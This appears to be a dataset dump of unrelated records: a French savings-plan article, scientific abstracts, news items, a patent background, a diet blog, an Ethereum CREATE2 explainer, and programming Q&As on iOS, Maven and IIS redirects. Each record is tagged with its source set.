En clair, vous divorcez et avez besoin d’une nouvelle voiture, vous pourrez débloquer votre PEE ; vous devez acheter une nouvelle voiture alors qu’il ne se passe rien de spécial dans votre vie personnelle ou professionnelle, vous ne pourrez pas retirer votre argent.
Si ce blocage ne représente pas un souci pour vous, investir intéressement et participation sur un PEE ou un Perco sera souvent une bonne affaire. Car vous ne paierez d’impôt sur le revenu ni sur les primes versées, ni sur les plus-values réalisées. Vous bénéficierez en outre, si votre plan le prévoit, d’un abondement de votre employeur sur ces sommes : il complétera vos versements, il pourra aller jusqu’à tripler votre mise.
Toutefois, « si vous ne payez pas d’impôt, que votre employeur n’offre aucun abondement et que vous êtes allergique au risque, vous n’avez aucune bonne raison de bloquer votre épargne sur un PEE ou un Perco, autant vous tourner vers le Livret A », nuance Manuèle Pennera, associée fondatrice de Karente.
Lire aussi Un nouveau site pour découvrir et comprendre l’épargne salariale
Où vont mon intéressement et ma participation si je ne me manifeste pas ?
A partir de leur attribution, vous disposez de quinze jours pour faire connaître votre choix. Si vous ne répondez pas, votre participation sera bloquée sur un plan d’épargne salariale. Elle sera versée sur un PEE si votre entreprise ne propose pas de Perco. Et pour moitié sur un PEE, pour moitié sur un Perco, si votre employeur propose les deux. L’intéressement sera entièrement dirigé vers un PEE.
Comment choisir mes supports d’investissement ?
Exactement comme si vous réalisiez un investissement dans le cadre personnel : en prenant en compte votre appétit pour le risque, vos projets, votre horizon de placement, le patrimoine dont vous disposez par ailleurs.
On vous proposera plusieurs fonds d’épargne salariale. Pour les comparer, consultez leur document d’information-clé pour l’investisseur (DICI) : il résume leurs principales caractéristiques. Comme toujours, il convient de ne pas mettre tous ses œufs dans le même panier. Investir beaucoup sur un même fonds peut être risqué, surtout s’il s’agit, côté PEE, d’un fonds investi en actions de votre entreprise. Pour un Perco, vous aurez forcément le choix entre une gestion libre et une gestion pilotée, c’est-à-dire une répartition de l’épargne réduisant automatiquement les risques à mesure que la retraite approche.
Vous ne manifestez aucun choix ? Les sommes investies sur un PEE iront, c’est logique, sur le fonds le moins risqué. Attention, cela implique de loger votre épargne sur des placements monétaires, qui ne rapportent souvent plus. Les sommes placées sur un Perco seront de leur côté affectées en gestion pilotée. Là aussi, attention : si vous êtes jeune, votre épargne sera alors largement exposée aux marchés financiers ; ce qui n’est pas souhaitable dans le cas où vous prévoyez d’acheter bientôt votre maison.
Ai-je intérêt à effectuer des versements volontaires sur mon PEE ou Perco ?
Oui, si votre employeur les abonde. Ils ne bénéficieront cependant ni de l’exonération fiscale accordée à la participation, l’intéressement et l’abondement, ni des déductions fiscales prévues pour certains produits d’épargne retraite, comme le plan d’épargne retraite populaire (PERP).
On me propose à la fois PEE et Perco, que faire ?
Si votre employeur abonde vos versements, et que vous pouvez vous le permettre, vous avez intérêt à profiter au maximum des possibilités d’abondement des deux plans. Au-delà de cette optimisation de l’abondement, ou en l’absence d’abondement, le PEE est favori car bien plus liquide. Les sommes investies ne sont bloquées que cinq ans. Les possibilités de déblocage anticipé sont plus nombreuses.
Lire aussi Tirer le meilleur parti de son épargne salariale
Et si je change d’entreprise, comment cela se passe-t-il ?
Le Perco pourra être conservé ou transféré dans votre nouvelle entreprise, si elle en propose. Quant au PEE, il pourra être débloqué, conservé ou transféré. A savoir : quand vous quittez l’entreprise, celle-ci cesse de prendre en charge les frais de tenue de compte. D’où l’intérêt, souvent, de transférer votre PEE ou Perco chez votre nouvel employeur.
Si vous détenez un Perco et que votre nouvelle entreprise n’en propose pas, ou que vous renoncez au salariat, vous serez toutefois obligé de conserver votre ancien Perco jusqu’à la retraite. Et de payer chaque année ses frais de tenue de compte, souvent environ 30 euros, même si vous ne versez rien et que votre épargne est faible… Sauf si vous pouvez profiter d’un déblocage anticipé, ou si, dans le cadre de votre activité d’indépendant, vous avez au moins un salarié et que vous décidez de mettre en place un Perco dans votre entreprise. Le Perco n’est pas transférable sur un autre produit d’épargne retraite.
Aurélie Blondel | {
"pile_set_name": "OpenWebText2"
} |
Photochemical deactivation pathways of the A-state allyl radical.
Ab initio direct molecular dynamics with trajectory surface hopping methods simulates the photochemical deactivation pathways of the allyl radical, C(3)H(5), following electronic excitation to the A-state. The electronically nonadiabatic dynamics mediated by two conical intersections produces predominantly hot ground state allyl radicals along both the disrotatory and conrotatory photochemical deactivation pathways with a near synchronous rotation of the terminal methylene groups. The electrocyclic transformation of the allyl radical to the cyclopropyl radical is a minor channel accounting for 8% of all trajectories with 98% of them following the disrotatory pathway. | {
"pile_set_name": "PubMed Abstracts"
} |
Comparative field efficacy of newly developed formulations of larvicides against Aedes aegypti (L.) (Diptera: Culicidae).
Aedes aegypti (L.) is known as vector of dengue and chikungunya fever. Larvicides are used to control this vector. We evaluated the efficacy of newly developed formulations of larvicides to control Ae. aegypti under field conditions for 24 weeks post single application. Mosdop P and Mosdop TB containing diflubenzuron (2% and 40 mg/tablet, respectively) as the active ingredient, were applied at a dosage of 0.1 mg a.i./1 and Mosquit TB10, Mosquit TB100 and Temecal containing temephos (1%, 10% and 1%, respectively) as the active ingredient were applied at a dosage of 1 mg active ingredent (a.i.) to 200 liter water storage jars. Two water regimens were used in the jars: in one regimen the jar was kept full of water all the time and in the other regimen a full jar had half the volume removed and refilled weekly. The larvicidal efficacy was reported as the level of inhibition of emergence (IE%) calculated based on the pupal skins in the jars versus the original number of larvae added. Mosdop P, Mosdop TB, Mosquit TB10, Mosquit TB100 and Temecal showed complete larvicidal efficacy (100% IE) in the constantly full jars for 16, 17, 14, 20 and 13 weeks posttreatment, respectively; in the jars where half the volum of water was replaced weekly, the larvicides had complete larvicidal efficacy (100% IE) for 19, 20, 17, 24 and 15 weeks post-treatment, respectively. The five larvicide regimens evaluated in this study are effective for controlling Ae. aegypti larvae. | {
"pile_set_name": "PubMed Abstracts"
} |
Works on $327m Nakheel Mall project in Dubai 85% complete
Nakheel’s mall project on Dubai’s Palm Jumeirah is nearing delivery, with the UAE-headquartered developer announcing that construction works are 85% complete.
In a statement, the company said that a 600t tower crane has recently been removed from the project site, marking a “significant milestone” in the progress of the $326.7m (AED1.2bn) Nakheel Mall development.
Nakheel further revealed that all ceiling and under- and above-ground floor works have been completed, with fit out now being implemented on major outlets of the mall, including the 5,574m2, 15-theatre Vox cinema complex.
Interior works like granite and glass fixing are “well on track”, the master developer noted, adding that the project’s 25m-high crystal dome, which will “straddle the mall’s Monorail station”, is also taking shape.
Once completed, Nakheel Mall will comprise five floors and three underground parking levels, and will host 350 shops, restaurants, and leisure attractions.
Features of the project will include two waterfalls plunging 65ft into the mall, a fine dining roof plaza, and access to the 240m ascent to the public viewing deck at Nakheel’s The Palm Tower, a 52-storey hotel and residential property that is also under construction. | {
"pile_set_name": "Pile-CC"
} |
If you are Looking for to buy for 22 Oz Resolve Multi Fabric Upholstery Cleaner 7983 then this is a great opportunity for you to buy for savings, with the inexpensive price for you. With special discounts for 22 Oz Resolve Multi Fabric Upholstery Cleaner 7983.
22 Oz Resolve Multi Fabric Upholstery Cleaner 7983 Review
I ended up buying this product after I read great amount of reviews, but 22 Oz Resolve Multi Fabric Upholstery Cleaner 7983 is top. | {
"pile_set_name": "Pile-CC"
} |
This invention relates to Multilayer Color Sensing Photodetectors and the method of fabricating such devices.
Photodetectors are used in a variety of applications such as digital cameras and video cameras. Photodetectors used in applications such as these may be one of a variety of devices including photodiodes, photoresistors, phototransistors and other photosensitive devices.
In both digital still cameras and digital video cameras, information about the color of the incident light is typically obtained through the use of filters that are present above the individual photodetectors. These filters allow light of only a specified color through to the underlying photodetector. If three colors of light are to be detected, three types of filters are required, and three photodetectors are often needed for each pixel.
The deposition of layers of polycrystalline semiconductor material separated by a dielectric layer is routine. In an article entitled Stacked Amorphous Silicon Color Sensors, by Dietmar Knipp et al., IEEE Transactions on Electronics Devices, Vol. 49, No. 1, January 2002, which is hereby incorporated by reference, there is described a multilayer photodetector structure used in the prior art. Three layers of semiconductor material are separated by two layers of intervening dielectric material. Other examples of prior art devices include: U.S. Pat. No. 5,949,073, dated Sep. 7, 1999, and describes, “a photodetector, a photo semiconductor element is covered by a cap with an incident window permitting incident light to penetrate through a translucent member. The photo semiconductor element detects a quantity of incident light penetrating through the translucent member of the incident window. The translucent member of the incident window is made of a material capable of suppressing the transmitting light quantity of incident light components having wavelengths less than 700 nm and larger than 900 nm. A photoelectric current output of the photosensitive semiconductor element is controlled by the incident light penetrating through the translucent member of the incident window. The photosensitive semiconductor element operates in multiple ways as a thermosensing sensor and a photosensing sensor.”
U.S. Pat. No. 6,177,710, dated Jan. 23, 2001, which is hereby incorporated by reference, describes, “a semiconductor waveguide type photodetector, a layered structure is formed on a semiconductor substrate, the layered structure formed by building a first semiconductor layer, a second semiconductor layer and a third semiconductor layer in due order, the first semiconductor layer being of one of p-type and n-type, the second semiconductor layer having lower bandgap energy than that of the first semiconductor layer, the third semiconductor layer having higher bandgap energy than that of the second semiconductor layer and having a conductive type opposite to that of the first semiconductor layer, and wherein at least the second semiconductor layer of the layered structure has a semiconductor waveguide having a mesa stripe structure, and at least a side surface and/or a light incidence end face of the second semiconductor layer is curved.”
U.S. Pat. No. 6,171,885, dated Jan. 9, 2001, which is hereby incorporated by reference, describes “a high efficiency color filter process for semiconductor array imaging devices, a microelectronic method is described for optimizing the fabrication of optical and semiconductor array structures for high efficiency color image formation in solid-state cameras. Disclosed is an ordered fabrication sequence in which microlens formation precedes color filter layer formation to enable increased image light collection efficiency, to encapsulate and protect the microlens elements from chemical and thermal processing damage, to minimize topographical under layer variations which would axially misalign or otherwise aberrate microlens elements formed on non-planar surfaces, and, to complete the most difficult steps early in the process to minimize rework and scrap. A CMOS, CID, of CCD optoelectronics configuration is formed by photolithographically patterning a planar array of photodiodes on a silicon or a III–V, II–VI or other compound semiconductor substrate. The photodiode array is provided with metal photoshields, passivated, planarized, and, a first convex microlens array of high curvature or other suitable lenses are formed thereon. A transparent encapsulating material is deposited to planarize the microlens layer and provide a spacer for the successive deposition of one or more color filter layers. The microlens array may be formed from positive photoresist and the spacer from negative resist, with close attention to matching the index of refraction at layer interfaces. A final surface layer comprising a color filter completes the solid-state color image-forming device”. | {
"pile_set_name": "USPTO Backgrounds"
} |
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Sunday, March 3, 2019
Type 2 Nutrition #475: The Fast Mimicking Diet
A WebMD Health piece on the Fast Mimicking Diet (FMD),
written awhile back for a “consumer audience,” was, I thought, a little too “thin”
(in substance). The research paper referenced in Cell,
however, was a little too “thick.” Still, it was interesting, so I wrote about
it here
in #382, “Can fasting ‘wake-up’ the pancreas?”
My editor thought I could do better, though, so she
sent me this BBC piece, “Behind
the Headlines – Health News from NHS Choices.” This time the porridge was neither
“too thin” nor “too thick.” I was just right!
The BBC lede jumps right to the conclusion: “‘The
pancreas can be triggered to regenerate itself through a type of fasting diet,
say US researchers.” Pithy, hey what? Here are key excerpts, for your
elucidation:
“Mice were fed for four days on a low-calorie,
low-protein and low-carbohydrate but high-fat diet, receiving half their normal
daily calorie intake on day one, followed by three days of 10% of their normal
calorie intake.”
“Researchers repeated this fast on three occasions
with 10 days of re-feeding in between to ensure they regained their body weight
before the next fasting cycle.”
“They then examined the pancreas. They found in mice
modeled to have both type 1 and type 2 diabetes, insulin production was
restored, insulin resistance was reduced, and beta cells could be regenerated.”
“Researchers also recruited healthy human adult volunteers
without a history of diabetes, who underwent three cycles of a similar four-day
fasting regimen. Their blood samples were applied to the cultured pancreatic
human cells. The results in the human cell samples suggested similar findings
to those seen in mice.”
The BBC summed it up: “The researchers concluded that,
‘These results indicate that an FMD promotes the reprogramming of pancreatic
cells to restore insulin generation in islets from T1D patients and reverse
both T1D and T2D phenotypes in mouse models.’” “This is good science,” a
professor at Cambridge commented.
The Fast Mimicking Diet (FMD) employed in the study
and reported on in Cell was conducted
at the University of Southern California (USC) and the Koch Institute at MIT,
plus in Italy. It was funded by grants from the US National Institutes of
Health and the US National Institute on Aging. It was high fat, low carb, low
protein and, okay, very low calorie, especially in the last 3 of the 4 days. In
that sense, it “mimics” a “water-only” fast; that is, the biomarkers had the
same physiological effects on the body as the more extreme “water only” fast.
The FMD is a way to eat that tricks the body into
thinking that a person is fasting. The 3 salient biomarkers that the body
produces are 1) lower levels of IGF-1, a hormone with a molecular structure
similar to insulin, 2) lower levels of glucose and 3) an increase in ketone
bodies. The hypothesis is that a more
extreme “water-only” fast would produce the same effects, but is unnecessary if
you’re unwilling to go there, yet.
The effect of the HIGH FAT, LOW CARB and LOW PROTEIN
FMD used in the USC/MIT study on mice and men was to “reboot” the pancreas to help
the insulin-producing cells repair themselves and start producing the hormone
(insulin) again. The study in Cell
said, “During periods of fasting, the cells go into ‘standby’ mode. When
feeding begins again, new cells are produced that have the potential to become
insulin-producing.”
From
an evolutionary standpoint, the ability of animals to survive food deprivation
is an adaptive response accompanied by the atrophy of many tissues to minimize
energy expenditure. Thus periodic cycles of fasting, leading to the oxidation
of pancreatic fat cells, the removal of impaired tissue (autophagy) and the death
of other cells by apoptosis (pre-programmed death), “induced by the stepwise
expression of certain genes,” are regulators of cell metabolism which enable
the pancreas to reprogram itself to restore insulin production and regenerate
stem cells similar to those observed during pancreatic development. Might FMD be
worth a try?
The way I read it, the answer is "yes" to the first part of your question, but "not addressed" to the second part. Type 2 diabetes has 2 components: The IR at the cellular receptor part of glucose uptake, and the blocked (or destroyed) ability of the islets to make insulin in the beta cells. These findings address the second (pancreatic) part but do not appear to address the IR part. Remember, the IR comes before the pancreas is asked to make more insulin and eventually is unable to because the beta cells are killed (or blocked by fat cells in the pancreas). But if the ability to make beta cells is restored by the FMD, that does not address the damage to the insulin receptors at the cellular glucose uptake level.
About Me
I was diagnosed a Type 2 diabetic in 1986. I started a Very Low Carb diet (Atkins Induction) in 2002 to lose weight. I didn’t realize at the time that it would put my diabetes in clinical remission, or that I would be able to give up almost all of my oral diabetes meds. I also didn’t understand that, as I lost weight and continued to eat Very Low Carb, my blood lipids would dramatically improve (doubling my HDL and cutting my triglycerides by 2/3rds) and that my blood pressure would drop from 130/90 to 110/70 on the same meds.
Over the years I changed from Atkins to the Bernstein Diet (designed for diabetics) and, altogether lost 170 pounds. I later regained some and then lost some. As long as I eat Very Low Carb, I am not hungry and I have lots of energy. And I no longer have any of the indications of Metabolic Syndrome.
My goal, as long as I have excess body fat, is to remain continuously in a ketogenic state, both for blood glucose regulation and continued weight loss. I expect that this regimen will continue to provide the benefits of reduced systemic inflammation, improved blood lipids and lower blood pressure as well. | {
"pile_set_name": "Pile-CC"
} |
The CREATE2 OpCode and DApp Onboarding in Ethereum
1,155 reads
The Ethereum network’s next major upgrade is the Constantinople upgrade (was meant to be January 16th but has since been delayed). The upgrade introduces several new features, one of which seems unexciting on the surface but enables a range of possibilities for scalability and user onboarding. This feature is the introduction of a new opcode for the Ethereum Virtual Machine: CREATE2. This article will briefly outline what CREATE2 does and how it could drastically improve the adoption cycle for decentralised applications.
What is CREATE2?
The important thing about CREATE2 is it allows DApp (Decentralized Application) developers to generate contract addresses without having to actually deploy a contract. Previously there was no way of “reserving” a contract address without deploying it. We’ll discuss why this is a problem for adoption later.
The actual CREATE2 opcode behaves virtually identically to the current CREATE opcode with 1 slight change. Both attempt to deploy some EVM bytecode as a new contract. However, whilst the contract address that a CREATE call deploys to is dependent solely on the sender and nonce, the new contract address for CREATE2 is dependent on extra input data.
In simple terms, you can think of it as allowing developers a level of “control” over the new contract address generated.
The Onboarding Process Before CREATE2
Think of some DApp that we’re trying to build and to market to the general public. At some point in the process of users interacting with our DApp, we likely want to give them some on-chain reward; maybe ether, tokens, or some non-fungible token. To do this, of course, the users need their own address, despite this application being their first interaction with the Ethereum blockchain.
There are a couple of options here.
We could maintain a list of private keys on some centralised server behind the scenes of the DApp. This would allow us to cheaply distribute new addresses to all of our users. However this is a significant security burden for us, and really takes the “D” out of “DApp”.
Another option is to create a wallet-like contract for every new user. Initially, our DApp will have full rights to all of the operations on this contract. Users can still receive everything they need, and whenever they do create their own Ethereum address, we can easily transfer full ownership over to them, removing the rights of our DApp. In theory, this works great. In practice, it’s very expensive. Contract deployments cost gas, and as the developers of this DApp we have to continually fund the creation of new contracts — even for cases where the users never come back. Sunk cost.
If only we could know about these contract addresses without having to spend the gas to create them!
Enter CREATE2
With CREATE2 our DApps can now know a contract’s address before it’s created. In the case above, we can easily generate wallet contract addresses for all of our users. Off-chain. For free.
We can send all of the tokens and in-game items that we need to to this address, and when the user is ready to commit and claim their new property, we can require that they send a small amount of ether to the contract address. Which will allow our DApp to go and create the contract for free, taking some of the funds to cover gas costs!
Concluding
This is just one possible brainstormed workflow, but hopefully gives you an idea of the kinds of things we can start doing when we are able to reserve contract addresses for currently unidentified users.
Let me know if you have any thoughts, or if this high-level explanation can be improved in any way.
Find me on Twitter: https://twitter.com/codingupastorm
Tags | {
"pile_set_name": "OpenWebText2"
} |
Piano Sonata No. 17
Piano Sonata No. 17 may refer to:
Piano Sonata No. 17 (Beethoven)
Piano Sonata No. 17 (Mozart) | {
"pile_set_name": "Wikipedia (en)"
} |
Encryption
==========
基于Base64,MD5,SHA,Hmac,DES,AES,RSA信息加密的设计与实现。
1. 实现Base64对于文字的加密和解密。
2. 实现MD5对于文字的校验。
3. 实现SHA1,SHA256,SHA384,SHA512对于文字的加密。
4. 实现HmacMD5,HmacSHA1,HmacSHA256,HmacSHA384,HmacSHA512对于文字的加密。
5. 实现了对称加密算法DES和AES.
6. 实现了非对称加密算法RSA.
| {
"pile_set_name": "Github"
} |
Q:
iOS - How to display the same table view after selecting an item
My iOS app is current transferring control to a detail view when an item in a UITableView is selected. This ia a quiz program, and I'd like to change the app so that it just redisplays the same table view with the correct answer highlighted when a row is selected. What's a good approach for doing this?
A:
Is not clear to me if you know why the detail view is appearing. So I'll explain just in case. If you are giving control to a detail view is because somewhere in your code you are pushing that detail view. It depends on what kind of UITableViewCell you are using. If you are using one of the defaults styles, your detail view is probably been pushed in either:
- (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath
or
- (void)tableView:(UITableView *)tableView accessoryButtonTappedForRowWithIndexPath:(NSIndexPath *)indexPath
If you are using a custom cell, then you need to look for the method in charge of pushing
that detail view.
I think a good approach would be to:
Remove that pushing wherever it is.
Not to use an `UITableViewCellAccessoryType, if you are using one.
Do something similar to the following on your tableView:didSelectRowAtIndexPath:
Find the row for the right answer in your model array, according to tapped cell.
Use that row number to generate an NSIndexPath.
Use that NSIndexPath to find the correct cell with cellForRowAtIndexPath:
Call setSelected:animated: on that cell to highlight it.
NOTE: If your quiz has more answers than the amount of UITableViewCells that fit in the screen you should scroll your UITableView to the right answer for better UX.
| {
"pile_set_name": "StackExchange"
} |
Q:
Maven Error " annotations are not supported....."
This is one of the most annoying errors ? What I can understand is that I am using a lower version of Java for compiling. How can I specify java version for maven ?
Failed to execute goal
org.apache.maven.plugins:maven-compiler-plugin:2.0.2:compile
(default-compile) on project
springAopMavenDemo: Compilation
failure D:\JAVA
Stuffs\projects\springAopMavenDemo\src\main\java\service\EmployeeServiceImpl.java:[13,1]
annotations are not supported in
-source 1.3 (use -source 5 or higher to enable annotations) @Service
-> [Help 1]
To see the full stack trace of the
errors, re-run Maven with the -e
switch. Re-run Maven using the -X
switch to enable full debug logging.
For more information about the errors
and possible solutions, please read
the following articles: [Help 1]
http://cwiki.apache.org/confluence/display/MAVEN/MojoFailureException
I really appreciate any help......I am using NetBeans 7.0 and Maven 3
A:
You need to tell maven which version of java the source should be compiled to
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>2.3.2</version>
<configuration>
<source>1.5</source>
<target>1.5</target>
</configuration>
</plugin>
</plugins>
http://maven.apache.org/plugins/maven-compiler-plugin/examples/set-compiler-source-and-target.html
| {
"pile_set_name": "StackExchange"
} |
Q:
How do I enforce www on an IIS hosted website?
My site is hosted on IIS, I need to enforce the browser to use www prefix.
I've installed the Url Rewrite Module and my rule is:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<rewrite>
<rules>
<rule name="Add WWW" stopProcessing="true">
<match url="^(.*)$" />
<conditions>
<add input="{HTTP_HOST}" pattern="^(?!www\.)(.*)$" />
</conditions>
<action type="Redirect" url="http://www.{C:0}{PATH_INFO}" redirectType="Permanent" />
</rule>
</rules>
</rewrite>
</system.webServer>
from IIS7 URL Rewrite - Add "www" prefix
But I cannot work out how to maintain ssl
A:
You need to capture the protocol in the input:
<rule name="Enforce WWW" stopProcessing="true">
<match url=".*" />
<conditions>
<add input="{CACHE_URL}" pattern="^(.+)://(?!www)(.*)" />
</conditions>
<action type="Redirect" url="{C:1}://www.{C:2}" redirectType="Permanent" />
</rule>
{C:1} will contain the protocol and {C:2} will have your domain and anything else.
(source)
| {
"pile_set_name": "StackExchange"
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Andre Villas-Boas denies FA charge
Chelsea boss Andre Villas-Boas has denied a Football Association charge for comments he made after his side's 1-0 defeat at QPR earlier this month.
The Portuguese admitted after the game he had been "very aggressive" with referee Chris Foy after accosting him post-match at Loftus Road, and accused the official who sent off two of his players in the Barclays Premier League game of failing to treat the teams equally.
But, after he was handed an FA charge for improper conduct earlier this week, Villas-Boas last night denied the allegation.
"With regards to the FA charge against Andre Villas-Boas for remarks he made after the QPR game, the manager is denying the charge against him and has submitted his response to the Football Association," a statement from the Blues read.
The 34-year-old has been less than impressed by some decisions against his team, even calling referees' chief Mike Riley to complain about the performance of the officials in a defeat at Manchester United. He was also critical of decisions in their draw at Stoke.
Speaking after the defeat at QPR, Villas-Boas said: "The ref was poor, very very poor. And it reflected in the result." | {
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Casein hydrolysis by Bifidobacterium longum KACC91563 and antioxidant activities of peptides derived therefrom.
Milk protein is a well-known precursor protein for the generation of bioactive peptides using lactic acid bacteria. This study investigated the antioxidant activity of bovine casein hydrolysate after fermentation with Bifidobacterium longum KACC91563 using the 2,2'-azinobis-(3-ethylbenzothiazoline-6-sulfonic acid) (ABTS) assay and total phenolic content (TPC). The antioxidant activities of the 24-h and 48-h hydrolysates were higher than that of the 4-h hydrolysate (2,045.5 and 1,629.3 μM gallic acid equivalents, respectively, vs. 40.3 μM) in the ABTS assay. In contrast, TPC values showed activities of 43.2 and 52.4 μM gallic acid equivalents for the 4-h and 24-h hydrolysates, respectively. Three fractions (≥10 kDa, ≥3 but <10 kDa, and <3 kDa) were separated from the 24-h hydrolysate by ultrafiltration. Among these fractions, the <3 kDa fraction exhibited the highest antioxidant activity (936.7 μM) compared with the other fractions (42.1 and 34.2 μM for >10 kDa and 3-10 kDa fractions, respectively). Through liquid chromatography-electrospray ionization-tandem mass spectrometry analysis, 2 peptides, VLSLSQSKVLPVPQK and VLSLSQSKVLPVPQKAVPYPQRDMPIQA, containing the fragment VLPVPQ that has antioxidant properties, were identified in the <3kDa fraction after 24h of hydrolysis. The present study demonstrates the possibility of antioxidant peptide production from bovine casein using Bifidobacterium longum. | {
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Leafs Looking For Another Centre?
According to Paul Hunter of the Toronto Star, it appears as if the Maple Leafs could be exploring all options in order to bring in another centreman from outside the organization. While Hunter explains that Bozak and Grabovski have essentially nailed down the top two centre positions to begin the season, both Kadri and Mitchell have struggled enough for Burke to begin considering alternative means of reinforcement down the middle. During the media conference call on Sunday afternoon, Burke had this to say about his current forward group:
“No one has ever said we’re going with this group. We’re still in a great position for waiver claims. We still have our scouts out scouring. We haven’t ruled out doing something. . . . We may need to go out and grab a centre.
Regarding Kadri:
“He’s not played anywhere near to what we had hoped for and expected. I don’t know why that is and he’s running out of time.”
Hunter speculates that Christian Hanson will likely be slotted in between Colton Orr and Mike Brown on the team’s fourth line, which by process of elimination, suggests that the Leafs could be looking to acquire a veteran third line centre. Presumably, this would be a player who would mesh into Burke’s “top six – bottom six” philosophy as a defensively minded player who will win faceoffs, battle in the corners and contribute on the team’s penalty kill unit.
One such player could be former Canuck/Duck Brendan Morrison, whom Burke and Nonis are both quite familiar with. Morrison is currently with the Canucks’ camp on a tryout basis, but has been playing well. The 35 year old B.C. native posted 42 points and a +23 rating in 74 games played for the Capitals last season. If he doesn’t manage to snag a full-time job on a very deep Canuck team (Sedin, Kesler, Malholtra down the middle), then look for the Leafs to perhaps inquire about his services. | {
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Albino models setting the trend for Africa By Kate Forbes
BBC News, Johannesburg Published duration 27 October 2012
Backstage amidst the chaos of Africa Fashion Week in the South African city of Johannesburg one woman sits quietly in a corner.
Other models and designers from across the continent dash from one end of the tent to the other - there seems to be an unofficial competition to see who can make the most noise.
Yet despite her silence, US albino supermodel Diandra Forrest is still the most noticeable person in the room.
With a complete lack of pigment in her hair or skin, the New Yorker who grew up in the city's mainly black Bronx community is used to sticking out a mile.
Around one person in 17,000 is born with the genetic disorder, which can also cause blindness.
But she knows that her presence at Africa Fashion Week has a much greater significance than just challenging ideas of what is beautiful.
In some African countries, particularly in East Africa, people with albinism are at risk of abduction and mutilation, as their body parts are believed by some to make potions and rituals more powerful.
"It matters a lot to me to be here, because I want to change the way people see girls with albinism on the continent," she told the BBC.
"I thought I had it so tough when I was growing up, with kids making fun of me all the time. I used to come home in tears," she recalls.
'Shocked'
"But that's nothing compared to what people like me go through here, particularly in rural areas.
image caption International designers like to use albino models at the moment
"When I found out that in countries like Tanzania, albino people like me are at risk of having their limbs cut off for the trade in body parts I was just so shocked.
"People just like me live in fear every day of their lives. It's terrible."
But when it comes to international catwalks, Ms Forrest is setting a trend.
Like others in the fashion world, British-based South African designer Jacob Kimmie was smitten when he saw Ms Forrest.
"She looks so other worldly, I had to have her in the show," he says.
"At the moment using an albino model is very hot right now, it's true.
"But hopefully the impact of using people who look very different, is that it inspires a longer term change."
Refilwe Modiselle, a South African model with albinism who grew up in Soweto, agrees.
Modelling since the age of 13, she is now the face of the South African fashion chain Legit and tells me albinism used to be viewed negatively but is now becoming more "mainstream".
"I really feel that the work Diandra and I are doing is the beginning of a real change," she says.
Witchcraft link
But in Kwazulu Natal, a day's drive from the Africa Fashion Week catwalk, an albino schoolboy has been missing for over a year after his abduction.
His family fear it is linked to witchcraft.
Most recently in Meru, Tanzania, the body of an albino man estimated to be in his 30s, was discovered in June with several of his body parts missing.
image caption People with albinism in parts of East Africa live in fear of their lives
The body parts are used in witchcraft medicines or buried underneath businesses in the belief that they bring prosperity.
So can a model on a catwalk really make a difference?
Peter Ash, the author of a 2012 report commissioned by the UN on albinism, says it can.
"The more positive portrayals of people with albinism the better; it really helps."
"The main problem we find is that there is an underlying acceptance of violence against people with albinism, because they are seen as sub-human, a representation of the devil, or carriers of a curse," he says.
"So it's crucial that African society starts seeing positive role models to be able to change thinking like that."
Quoted in the UN report, the non-governmental organisation Under the Same Sun estimated that around 71 people with albinism were killed in Tanzania between 2006 and 2012, and 31 survived machete attacks.
Seventeen albinos were murdered in Burundi, seven in Kenya seven and three in Swaziland.
The cases are often not properly reported or investigated, says Nomasonto Mazibuko from the Society for Albinism in South Africa.
But she says that change has got to come from within the continent:
"The crucial point is that people don't take people with albinism as actual human beings. It is up to us in Africa to talk about this and make inroads against prejudice."
Her voice rises with passion as we talk: 'We cannot be quiet, we cannot stay hidden.
"And any girl with albinism who is walking on an international catwalk or even the street with her head held high is a much needed role model."
Ms Modiselle hopes she can be that catalyst for inspiration for the often racially divided society in South Africa and the continent as a whole.
"I'm the symbol of racial unity. I'm a black girl who lives in the skin of a white person and that alone should embody what a human being as a whole should represent," she told the BBC.
"I'd like to be known as a model, and for all my other achievements, not for being albino." | {
"pile_set_name": "OpenWebText2"
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List of federal institutions of Brazil
This is a list of the federal institutions of Brazil:
Legislative branch
National Congress, Congresso Nacional
Chamber of Deputies, Câmara dos Deputados
Senate of Brazil, Senado Federal
Court of Audit of the Union, Tribunal de Contas da União (TCU)
Executive branch
Cabinet of Brazil, Gabinete Ministerial
Presidency of Brazil, Presidência da República
National Defense Council, Conselho de Defesa Nacional (CDN)
Cabinet of Institutional Security, Gabinete de Segurança Institucional (GSI)
Chief of Staff, Casa Civil da Presidência da República
National Antidrugs Secretariat, Secretaria Nacional Antidrogas (SENAD)
Special Secretariat for Human Rights, Secretaria Especial dos Direitos Humanos (SEDH)
General-Secretariat of the Presidency, Secretaria-Geral da Presidência (SG)
Attorney General of the Union, Advocacia-Geral da União (AGU)
Press Secretary, Secretaria de Comunicação Social (SeCom)
Spokesman of the Presidency, Porta-Voz da Presidência
Strategic Affairs Unit, Núcleo de Assuntos Estratégicos (NAE)
Vice-Presidency of Brazil, Vice-Presidência da República
Ministry of Agrarian Development, Ministério do Desenvolvimento Agrário
Instituto Nacional de Colonização e Reforma Agrária (INCRA)
Ministry of Agriculture, Livestock and Supply, Ministério da Agricultura, Pecuária e Abastecimento
Secretaria de Produção e Comercializão (SPC)
Secretaria de Defesa Agropecuária (SDA)
National Institute of Meteorology, Instituto Nacional de Meteorologia (INMET)
Ministry of Communications, Ministério das Comunicações (MC)
Brazilian Agency of Telecommunications, Agência Nacional de Telecomunicações (ANATEL)
Brazilian Post and Telegraph Corporation, Empresa Brasileira de Correios e Telégrafos (ECT)
Ministry of Culture, Ministério da Cultura (MinC)
Institute of National Historical and Artistic Heritage, Instituto do Patrimônio Histórico e Artístico Nacional (IPHAN)
National Cinema Agency, Agência Nacional do Cinema (Ancine)
House of Rui Barbosa Foundation, Fundação Casa de Rui Barbosa (FCRB)
Palmares Cultural Foundation, Fundação Cultural Palmares (FCP)
National Foundation of Arts, Fundação Nacional de Artes (Funarte)
National Library Foundation, Fundação Biblioteca Nacional (FBN)
National Museum of Brazil, Museu Nacional
Ministry of Defense, Ministério da Defesa (MD)
Brazilian Army, Exército Brasileiro (EB)
Brazilian Air Force, Força Aérea Brasileira (FAB)
Aeronautical Accidents Investigation and Prevention Center, Centro de Investigação e Prevenção de Acidentes Aeronáuticos (CENIPA)
Brazilian Navy, Marinha do Brasil (MB)
Linked entities
